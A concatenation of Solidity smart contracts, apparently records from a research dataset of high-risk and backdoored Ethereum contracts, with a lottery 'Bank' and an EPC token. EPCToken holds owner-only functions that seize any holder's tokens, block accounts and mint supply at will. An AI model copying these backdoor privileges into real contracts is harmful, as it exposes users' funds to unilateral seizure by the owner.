function changeAdmin(address _receiver) onlyAdmin public {
admin = _receiver;
}
function claimEth() public {
claimEthFor(msg.sender);
}
// Claim eth for address
function claimEthFor(address payee) public {
require(balances[payee] > 0);
uint totalReceived = address(this).balance.add(totalEthReleased);
uint payment = totalReceived.mul(balances[payee]).div(totalSupply_).sub(ethReleased[payee]);
require(payment != 0);
require(address(this).balance >= payment);
ethReleased[payee] = ethReleased[payee].add(payment);
totalEthReleased = totalEthReleased.add(payment);
payee.transfer(payment);
}
// Claim your tokens
function claimMyTokens() public {
claimTokensFor(msg.sender);
}
// Claim on behalf of payee address
function claimTokensFor(address payee) public {
require(balances[payee] > 0);
for (uint16 i = 0; i < trackedTokens.length; i++) {
claimToken(trackedTokens[i], payee);
}
}
function claimToken(address _tokenAddr, address _payee) public {
require(balances[_payee] > 0);
require(isTokenTracked[_tokenAddr]);
uint payment = getUnclaimedTokenAmount(_tokenAddr, _payee);
if (payment == 0) {
return;
}
ERC20 Token = ERC20(_tokenAddr);
require(Token.balanceOf(address(this)) >= payment);
tokensReleased[address(Token)][_payee] = tokensReleased[address(Token)][_payee].add(payment);
totalTokensReleased[address(Token)] = totalTokensReleased[address(Token)].add(payment);
Token.transfer(_payee, payment);
}
function getUnclaimedTokenAmount(address tokenAddr, address payee) public view returns (uint) {
ERC20 Token = ERC20(tokenAddr);
uint totalReceived = Token.balanceOf(address(this)).add(totalTokensReleased[address(Token)]);
uint payment = totalReceived.mul(balances[payee]).div(totalSupply_).sub(tokensReleased[address(Token)][payee]);
return payment;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(msg.sender != _to);
uint startingBalance = balances[msg.sender];
require(super.transfer(_to, _value));
transferChecks(msg.sender, _to, _value, startingBalance);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool){
require(_from != _to);
uint startingBalance = balances[_from];
require(super.transferFrom(_from, _to, _value));
transferChecks(_from, _to, _value, startingBalance);
return true;
}
function transferChecks(address from, address to, uint checks, uint startingBalance) internal {
// proportional amount of eth released already
uint claimedEth = ethReleased[from].mul(checks).div(startingBalance);
// increment to's released eth
ethReleased[to] = ethReleased[to].add(claimedEth);
// decrement from's released eth
ethReleased[from] = ethReleased[from].sub(claimedEth);
for (uint16 i = 0; i < trackedTokens.length; i++) {
address tokenAddr = trackedTokens[i];
// proportional amount of token released already
uint claimed = tokensReleased[tokenAddr][from].mul(checks).div(startingBalance);
// increment to's released token
tokensReleased[tokenAddr][to] = tokensReleased[tokenAddr][to].add(claimed);
// decrement from's released token
tokensReleased[tokenAddr][from] = tokensReleased[tokenAddr][from].sub(claimed);
}
}
function addPayees(address[] _payees, uint[] _checks) onlyAdmin external {
require(_payees.length == _checks.length);
require(_payees.length > 0);
for (uint i = 0; i < _payees.length; i++) {
addPayee(_payees[i], _checks[i]);
}
}
function addPayee(address _payee, uint _checks) onlyAdmin canMint public {
require(_payee != address(0));
require(_checks > 0);
require(balances[_payee] == 0);
MintableToken(this).mint(_payee, _checks);
}
// irreversibly close the adding of checks
function finishedLoading() onlyAdmin canMint public {
MintableToken(this).finishMinting();
}
function trackToken(address _addr) onlyAdmin public {
require(_addr != address(0));
require(!isTokenTracked[_addr]);
trackedTokens.push(_addr);
isTokenTracked[_addr] = true;
}
function unTrackToken(address _addr, uint16 _position) onlyAdmin public {
require(isTokenTracked[_addr]);
require(trackedTokens[_position] == _addr);
ERC20(_addr).transfer(_addr, ERC20(_addr).balanceOf(address(this)));
trackedTokens[_position] = trackedTokens[trackedTokens.length-1];
delete trackedTokens[trackedTokens.length-1];
trackedTokens.length--;
}
}
| 211,297 | 11,123 |
d1363f98cbcd27586982aee70ea930f05f000c77232a2b7eaa9cc79260080ff3
| 16,012 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/High-risk/0xdf18880a02c7f3eb4f40fdf515fce31c1cb7ef66.sol
| 3,556 | 13,716 |
pragma solidity ^0.4.24;
library SafeMath {
int256 constant private INT256_MIN = -2**255;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below
int256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0); // Solidity only automatically asserts when dividing by 0
require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow
int256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface F2mInterface {
function joinNetwork(address[6] _contract) public;
// one time called
function disableRound0() public;
function activeBuy() public;
// Dividends from all sources (DApps, Donate ...)
function pushDividends() public payable;
//function reinvest() public;
//function buy() public payable;
function buyFor(address _buyer) public payable;
function sell(uint256 _tokenAmount) public;
function exit() public;
function devTeamWithdraw() public returns(uint256);
function withdrawFor(address sender) public returns(uint256);
function transfer(address _to, uint256 _tokenAmount) public returns(bool);
function setAutoBuy() public;
// function totalEthBalance() public view returns(uint256);
function ethBalance(address _address) public view returns(uint256);
function myBalance() public view returns(uint256);
function myEthBalance() public view returns(uint256);
function swapToken() public;
function setNewToken(address _newTokenAddress) public;
}
interface CitizenInterface {
function joinNetwork(address[6] _contract) public;
function devTeamWithdraw() public;
function updateUsername(string _sNewUsername) public;
//Sources: Token contract, DApps
function pushRefIncome(address _sender) public payable;
function withdrawFor(address _sender) public payable returns(uint256);
function devTeamReinvest() public returns(uint256);
function getRefWallet(address _address) public view returns(uint256);
}
interface LotteryInterface {
function joinNetwork(address[6] _contract) public;
// call one time
function activeFirstRound() public;
// Core Functions
function pushToPot() public payable;
function finalizeable() public view returns(bool);
// bounty
function finalize() public;
function buy(string _sSalt) public payable;
function buyFor(string _sSalt, address _sender) public payable;
//function withdraw() public;
function withdrawFor(address _sender) public returns(uint256);
function getRewardBalance(address _buyer) public view returns(uint256);
function getTotalPot() public view returns(uint256);
// EarlyIncome
function getEarlyIncomeByAddress(address _buyer) public view returns(uint256);
// included claimed amount
// function getEarlyIncomeByAddressRound(address _buyer, uint256 _rId) public view returns(uint256);
function getCurEarlyIncomeByAddress(address _buyer) public view returns(uint256);
function getCurRoundId() public view returns(uint256);
// set endRound, prepare to upgrade new version
function setLastRound(uint256 _lastRoundId) public;
function getPInvestedSumByRound(uint256 _rId, address _buyer) public view returns(uint256);
function cashoutable(address _address) public view returns(bool);
function isLastRound() public view returns(bool);
}
interface DevTeamInterface {
function setF2mAddress(address _address) public;
function setLotteryAddress(address _address) public;
function setCitizenAddress(address _address) public;
function setBankAddress(address _address) public;
function setRewardAddress(address _address) public;
function setWhitelistAddress(address _address) public;
function setupNetwork() public;
}
contract Bank {
using SafeMath for uint256;
mapping(address => uint256) public balance;
mapping(address => uint256) public claimedSum;
mapping(address => uint256) public donateSum;
mapping(address => bool) public isMember;
address[] public member;
uint256 public TIME_OUT = 7 * 24 * 60 * 60;
mapping(address => uint256) public lastClaim;
CitizenInterface public citizenContract;
LotteryInterface public lotteryContract;
F2mInterface public f2mContract;
DevTeamInterface public devTeamContract;
constructor (address _devTeam)
public
{
// add administrators here
devTeamContract = DevTeamInterface(_devTeam);
devTeamContract.setBankAddress(address(this));
}
function joinNetwork(address[6] _contract)
public
{
require(address(citizenContract) == 0x0,"already setup");
f2mContract = F2mInterface(_contract[0]);
//bankContract = BankInterface(bankAddress);
citizenContract = CitizenInterface(_contract[2]);
lotteryContract = LotteryInterface(_contract[3]);
}
// Core functions
function pushToBank(address _player)
public
payable
{
uint256 _amount = msg.value;
lastClaim[_player] = block.timestamp;
balance[_player] = _amount.add(balance[_player]);
}
function collectDividends(address _member)
public
returns(uint256)
{
require(_member != address(devTeamContract), "no right");
uint256 collected = f2mContract.withdrawFor(_member);
claimedSum[_member] += collected;
return collected;
}
function collectRef(address _member)
public
returns(uint256)
{
require(_member != address(devTeamContract), "no right");
uint256 collected = citizenContract.withdrawFor(_member);
claimedSum[_member] += collected;
return collected;
}
function collectReward(address _member)
public
returns(uint256)
{
require(_member != address(devTeamContract), "no right");
uint256 collected = lotteryContract.withdrawFor(_member);
claimedSum[_member] += collected;
return collected;
}
function collectIncome(address _member)
public
returns(uint256)
{
require(_member != address(devTeamContract), "no right");
//lastClaim[_member] = block.timestamp;
uint256 collected = collectDividends(_member) + collectRef(_member) + collectReward(_member);
return collected;
}
function restTime(address _member)
public
view
returns(uint256)
{
uint256 timeDist = block.timestamp - lastClaim[_member];
if (timeDist >= TIME_OUT) return 0;
return TIME_OUT - timeDist;
}
function timeout(address _member)
public
view
returns(bool)
{
return lastClaim[_member] > 0 && restTime(_member) == 0;
}
function memberLog()
private
{
address _member = msg.sender;
lastClaim[_member] = block.timestamp;
if (isMember[_member]) return;
member.push(_member);
isMember[_member] = true;
}
function cashoutable()
public
view
returns(bool)
{
return lotteryContract.cashoutable(msg.sender);
}
function cashout()
public
{
address _sender = msg.sender;
uint256 _amount = balance[_sender];
require(_amount > 0, "nothing to cashout");
balance[_sender] = 0;
memberLog();
require(cashoutable() && _amount > 0, "need 1 ticket or wait to new round");
_sender.transfer(_amount);
}
// ref => devTeam
// div => div
// lottery => div
function checkTimeout(address _member)
public
{
require(timeout(_member), "member still got time to withdraw");
require(_member != address(devTeamContract), "no right");
uint256 _curBalance = balance[_member];
uint256 _refIncome = collectRef(_member);
uint256 _divIncome = collectDividends(_member);
uint256 _rewardIncome = collectReward(_member);
donateSum[_member] += _refIncome + _divIncome + _rewardIncome;
balance[_member] = _curBalance;
f2mContract.pushDividends.value(_divIncome + _rewardIncome)();
citizenContract.pushRefIncome.value(_refIncome)(0x0);
}
function withdraw()
public
{
address _member = msg.sender;
collectIncome(_member);
cashout();
//lastClaim[_member] = block.timestamp;
}
function lotteryReinvest(string _sSalt, uint256 _amount)
public
payable
{
address _sender = msg.sender;
uint256 _deposit = msg.value;
uint256 _curBalance = balance[_sender];
uint256 investAmount;
uint256 collected = 0;
if (_deposit == 0) {
if (_amount > balance[_sender])
collected = collectIncome(_sender);
require(_amount <= _curBalance + collected, "balance not enough");
investAmount = _amount;//_curBalance + collected;
} else {
collected = collectIncome(_sender);
investAmount = _deposit.add(_curBalance).add(collected);
}
balance[_sender] = _curBalance.add(collected + _deposit).sub(investAmount);
lastClaim [_sender] = block.timestamp;
lotteryContract.buyFor.value(investAmount)(_sSalt, _sender);
}
function tokenReinvest(uint256 _amount)
public
payable
{
address _sender = msg.sender;
uint256 _deposit = msg.value;
uint256 _curBalance = balance[_sender];
uint256 investAmount;
uint256 collected = 0;
if (_deposit == 0) {
if (_amount > balance[_sender])
collected = collectIncome(_sender);
require(_amount <= _curBalance + collected, "balance not enough");
investAmount = _amount;//_curBalance + collected;
} else {
collected = collectIncome(_sender);
investAmount = _deposit.add(_curBalance).add(collected);
}
balance[_sender] = _curBalance.add(collected + _deposit).sub(investAmount);
lastClaim [_sender] = block.timestamp;
f2mContract.buyFor.value(investAmount)(_sender);
}
// Read
function getDivBalance(address _sender)
public
view
returns(uint256)
{
uint256 _amount = f2mContract.ethBalance(_sender);
return _amount;
}
function getEarlyIncomeBalance(address _sender)
public
view
returns(uint256)
{
uint256 _amount = lotteryContract.getCurEarlyIncomeByAddress(_sender);
return _amount;
}
function getRewardBalance(address _sender)
public
view
returns(uint256)
{
uint256 _amount = lotteryContract.getRewardBalance(_sender);
return _amount;
}
function getRefBalance(address _sender)
public
view
returns(uint256)
{
uint256 _amount = citizenContract.getRefWallet(_sender);
return _amount;
}
function getBalance(address _sender)
public
view
returns(uint256)
{
uint256 _sum = getUnclaimedBalance(_sender);
return _sum + balance[_sender];
}
function getUnclaimedBalance(address _sender)
public
view
returns(uint256)
{
uint256 _sum = getDivBalance(_sender) + getRefBalance(_sender) + getRewardBalance(_sender) + getEarlyIncomeBalance(_sender);
return _sum;
}
function getClaimedBalance(address _sender)
public
view
returns(uint256)
{
return balance[_sender];
}
function getTotalMember()
public
view
returns(uint256)
{
return member.length;
}
}
| 336,023 | 11,124 |
5d81dc04ad49bfd8f716d771deb2a9b2233a0ac624a7a37d472673506c05b137
| 17,336 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x25543db4ff6a57affb219cca074a1e983c024c18.sol
| 4,030 | 16,440 |
pragma solidity ^0.4.25;
/// Code for ERC20+alpha token
/// @author A. Vidovic
contract EPCToken {
string public name = 'Earth Power Coin'; //fancy name
uint8 public decimals = 18; //How many decimals to show. It's like comparing 1 wei to 1 ether.
string public symbol = 'EPC'; //Identifier
string public version = '1.3';
uint256 weisPerEth = 1000000000000000000;
/// total amount of tokens
uint256 public totalSupply = 20000000000 * weisPerEth;
uint256 public tokenWeisPerEth = 25000 * 1000000000000000000; // 1 ETH = 0.00004 EPC
address owner0; // just in case an owner change would be mistaken
address owner;
uint256 public saleCap = 2000000000 * weisPerEth;
uint256 public notAttributed = totalSupply - saleCap;
constructor(uint256 _initialAmount,
uint256 _saleCap,
string _tokenName,
string _tokenSymbol,
uint8 _decimalUnits) public {
totalSupply = _initialAmount * weisPerEth; // Update total supply
saleCap = _saleCap * weisPerEth;
notAttributed = totalSupply - saleCap; // saleCap is an attributed amount
name = _tokenName; // Set the name for display purposes
decimals = _decimalUnits; // Amount of decimals for display purposes
symbol = _tokenSymbol; // Set the symbol for display purposes
owner0 = msg.sender;
owner = msg.sender;
balances[owner] = 100 * weisPerEth; // initial allocation for test purposes
notAttributed -= balances[owner];
emit Transfer(0, owner, balances[owner]);
}
modifier ownerOnly {
require(owner == msg.sender || owner0 == msg.sender);
_;
}
function setOwner(address _newOwner) public ownerOnly {
if (owner0 == 0) {
if (owner == 0) {
owner0 = _newOwner;
} else {
owner0 = owner;
}
}
owner = _newOwner;
}
function addToTotalSupply(uint256 _delta) public ownerOnly returns (uint256 availableAmount) {
totalSupply += _delta * weisPerEth;
notAttributed += _delta * weisPerEth;
return notAttributed;
}
function withdraw() public ownerOnly {
msg.sender.transfer(address(this).balance);
}
function setSaleCap(uint256 _saleCap) public ownerOnly returns (uint256 toBeSold) {
notAttributed += saleCap; // restore remaining previous saleCap to notAttributed pool
saleCap = _saleCap * weisPerEth;
if (saleCap > notAttributed) { // not oversold amount
saleCap = notAttributed;
}
notAttributed -= saleCap; // attribute this new cap
return saleCap;
}
bool public onSaleFlag = false;
function setSaleFlag(bool _saleFlag) public ownerOnly {
onSaleFlag = _saleFlag;
}
bool public useWhitelistFlag = false;
function setUseWhitelistFlag(bool _useWhitelistFlag) public ownerOnly {
useWhitelistFlag = _useWhitelistFlag;
}
function calcTokenSold(uint256 _ethValue) public view returns (uint256 tokenValue) {
return _ethValue * tokenWeisPerEth / weisPerEth;
}
uint256 public percentFrozenWhenBought = 75; // % of tokens you buy that you can't use right away
uint256 public percentUnfrozenAfterBuyPerPeriod = 25; // % of bought tokens you get to use after each period
uint public buyUnfreezePeriodSeconds = 30 * 24 * 3600; // aforementioned period
function setPercentFrozenWhenBought(uint256 _percentFrozenWhenBought) public ownerOnly {
percentFrozenWhenBought = _percentFrozenWhenBought;
}
function setPercentUnfrozenAfterBuyPerPeriod(uint256 _percentUnfrozenAfterBuyPerPeriod) public ownerOnly {
percentUnfrozenAfterBuyPerPeriod = _percentUnfrozenAfterBuyPerPeriod;
}
function setBuyUnfreezePeriodSeconds(uint _buyUnfreezePeriodSeconds) public ownerOnly {
buyUnfreezePeriodSeconds = _buyUnfreezePeriodSeconds;
}
function buy() payable public {
if (useWhitelistFlag) {
if (!isWhitelist(msg.sender)) {
emit NotWhitelisted(msg.sender);
revert();
}
}
if (saleCap>0) {
uint256 tokens = calcTokenSold(msg.value);
if (tokens<=saleCap) {
if (tokens > 0) {
lastUnfrozenTimestamps[msg.sender] = block.timestamp;
boughtTokens[msg.sender] += tokens;
frozenTokens[msg.sender] += tokens * percentFrozenWhenBought / 100;
balances[msg.sender] += tokens * (100 - percentFrozenWhenBought) / 100;
saleCap -= tokens;
emit Transfer(0, msg.sender, tokens);
} else {
revert();
}
} else {
emit NotEnoughTokensLeftForSale(saleCap);
revert();
}
} else {
emit NotEnoughTokensLeftForSale(saleCap);
revert();
}
}
function () payable public {
//if ether is sent to this address and token sale is not ON, send it back.
if (!onSaleFlag) {
revert();
} else {
buy();
}
}
mapping (address => uint256) public boughtTokens; // there is some kind of lockup even for those who bought tokens
mapping (address => uint) public lastUnfrozenTimestamps;
mapping (address => uint256) public frozenTokens;
uint256 public percentFrozenWhenAwarded = 100; // % of tokens you are awarded that you can't use right away
uint256 public percentUnfrozenAfterAwardedPerPeriod = 25; // % of bought tokens you get to use after each period
uint public awardedInitialWaitSeconds = 6 * 30 * 24 * 3600; // initial waiting period for hodlers
uint public awardedUnfreezePeriodSeconds = 30 * 24 * 3600; // aforementioned period
function setPercentFrozenWhenAwarded(uint256 _percentFrozenWhenAwarded) public ownerOnly {
percentFrozenWhenAwarded = _percentFrozenWhenAwarded;
}
function setPercentUnfrozenAfterAwardedPerPeriod(uint256 _percentUnfrozenAfterAwardedPerPeriod) public ownerOnly {
percentUnfrozenAfterAwardedPerPeriod = _percentUnfrozenAfterAwardedPerPeriod;
}
function setAwardedInitialWaitSeconds(uint _awardedInitialWaitSeconds) public ownerOnly {
awardedInitialWaitSeconds = _awardedInitialWaitSeconds;
}
function setAwardedUnfreezePeriodSeconds(uint _awardedUnfreezePeriodSeconds) public ownerOnly {
awardedUnfreezePeriodSeconds = _awardedUnfreezePeriodSeconds;
}
function award(address _to, uint256 _nbTokens) public ownerOnly {
if (notAttributed>0) {
uint256 tokens = _nbTokens * weisPerEth;
if (tokens<=notAttributed) {
if (tokens > 0) {
awardedTimestamps[_to] = block.timestamp;
awardedTokens[_to] += tokens;
frozenAwardedTokens[_to] += tokens * percentFrozenWhenAwarded / 100;
balances[_to] += tokens * (100 - percentFrozenWhenAwarded) / 100;
notAttributed -= tokens;
emit Transfer(0, _to, tokens);
}
} else {
emit NotEnoughTokensLeft(notAttributed);
}
} else {
emit NotEnoughTokensLeft(notAttributed);
}
}
mapping (address => uint256) public awardedTokens;
mapping (address => uint) public awardedTimestamps;
mapping (address => uint) public lastUnfrozenAwardedTimestamps;
mapping (address => uint256) public frozenAwardedTokens;
/// transfer tokens from unattributed pool without any lockup (e.g. for human sale)
function grant(address _to, uint256 _nbTokens) public ownerOnly {
if (notAttributed>0) {
uint256 tokens = _nbTokens * weisPerEth;
if (tokens<=notAttributed) {
if (tokens > 0) {
balances[_to] += tokens;
notAttributed -= tokens;
emit Transfer(0, _to, tokens);
}
} else {
emit NotEnoughTokensLeft(notAttributed);
}
} else {
emit NotEnoughTokensLeft(notAttributed);
}
}
function setWhitelist(address _addr, bool _wlStatus) public ownerOnly {
whitelist[_addr] = _wlStatus;
}
function isWhitelist(address _addr) public view returns (bool isWhitelisted) {
return whitelist[_addr]==true;
}
mapping (address => bool) public whitelist;
function setSaleAddr(address _addr, bool _saleStatus) public ownerOnly {
saleAddrs[_addr] = _saleStatus;
}
function isSaleAddr(address _addr) public view returns (bool isASaleAddr) {
return saleAddrs[_addr]==true;
}
mapping (address => bool) public saleAddrs; // marks sale addresses : transfer recipients from those addresses are subjected to buy lockout rules
bool public manualSaleFlag = false;
function setManualSaleFlag(bool _manualSaleFlag) public ownerOnly {
manualSaleFlag = _manualSaleFlag;
}
mapping (address => uint256) public balances; // available on hand
mapping (address => mapping (address => uint256)) allowed;
function setBlockedAccount(address _addr, bool _blockedStatus) public ownerOnly {
blockedAccounts[_addr] = _blockedStatus;
}
function isBlockedAccount(address _addr) public view returns (bool isAccountBlocked) {
return blockedAccounts[_addr]==true;
}
mapping (address => bool) public blockedAccounts; // mechanism allowing to stop thieves from profiting
/// Used to empty blocked accounts of stolen tokens and return them to rightful owners
function moveTokens(address _from, address _to, uint256 _amount) public ownerOnly returns (bool success) {
if (_amount>0 && balances[_from] >= _amount) {
balances[_from] -= _amount;
balances[_to] += _amount;
emit Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function unfreezeBoughtTokens(address _owner) public {
if (frozenTokens[_owner] > 0) {
uint elapsed = block.timestamp - lastUnfrozenTimestamps[_owner];
if (elapsed > buyUnfreezePeriodSeconds) {
uint256 tokensToUnfreeze = boughtTokens[_owner] * percentUnfrozenAfterBuyPerPeriod / 100;
if (tokensToUnfreeze > frozenTokens[_owner]) {
tokensToUnfreeze = frozenTokens[_owner];
}
balances[_owner] += tokensToUnfreeze;
frozenTokens[_owner] -= tokensToUnfreeze;
lastUnfrozenTimestamps[_owner] = block.timestamp;
}
}
}
function unfreezeAwardedTokens(address _owner) public {
if (frozenAwardedTokens[_owner] > 0) {
uint elapsed = 0;
uint waitTime = awardedInitialWaitSeconds;
if (lastUnfrozenAwardedTimestamps[_owner]<=0) {
elapsed = block.timestamp - awardedTimestamps[_owner];
} else {
elapsed = block.timestamp - lastUnfrozenAwardedTimestamps[_owner];
waitTime = awardedUnfreezePeriodSeconds;
}
if (elapsed > waitTime) {
uint256 tokensToUnfreeze = awardedTokens[_owner] * percentUnfrozenAfterAwardedPerPeriod / 100;
if (tokensToUnfreeze > frozenAwardedTokens[_owner]) {
tokensToUnfreeze = frozenAwardedTokens[_owner];
}
balances[_owner] += tokensToUnfreeze;
frozenAwardedTokens[_owner] -= tokensToUnfreeze;
lastUnfrozenAwardedTimestamps[_owner] = block.timestamp;
}
}
}
function unfreezeTokens(address _owner) public returns (uint256 frozenAmount) {
unfreezeBoughtTokens(_owner);
unfreezeAwardedTokens(_owner);
return frozenTokens[_owner] + frozenAwardedTokens[_owner];
}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public returns (uint256 balance) {
unfreezeTokens(_owner);
return balances[_owner];
}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (!isBlockedAccount(msg.sender) && (balanceOf(msg.sender) >= _value && _value > 0)) {
if (isSaleAddr(msg.sender)) {
if (manualSaleFlag) {
boughtTokens[_to] += _value;
lastUnfrozenTimestamps[_to] = block.timestamp;
frozenTokens[_to] += _value * percentFrozenWhenBought / 100;
balances[_to] += _value * (100 - percentFrozenWhenBought) / 100;
} else {
return false;
}
} else {
balances[_to] += _value;
}
balances[msg.sender] -= _value;
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (!isBlockedAccount(msg.sender) && (balanceOf(_from) >= _value && allowed[_from][msg.sender] >= _value) && _value > 0) {
if (isSaleAddr(_from)) {
if (manualSaleFlag) {
boughtTokens[_to] += _value;
lastUnfrozenTimestamps[_to] = block.timestamp;
frozenTokens[_to] += _value * percentFrozenWhenBought / 100;
balances[_to] += _value * (100 - percentFrozenWhenBought) / 100;
} else {
return false;
}
} else {
balances[_to] += _value;
}
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event NotEnoughTokensLeftForSale(uint256 _tokensLeft);
event NotEnoughTokensLeft(uint256 _tokensLeft);
event NotWhitelisted(address _addr);
}
| 143,203 | 11,125 |
9d0e9e7be11592e6c09dd00f6a50a5e98bd047126d4ff7c7a4eb9e0498311a56
| 15,894 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x6e440062E1b39AD10bFDDbD0938235C53A1C9db6/contract.sol
| 4,144 | 15,399 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BurntPenny is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
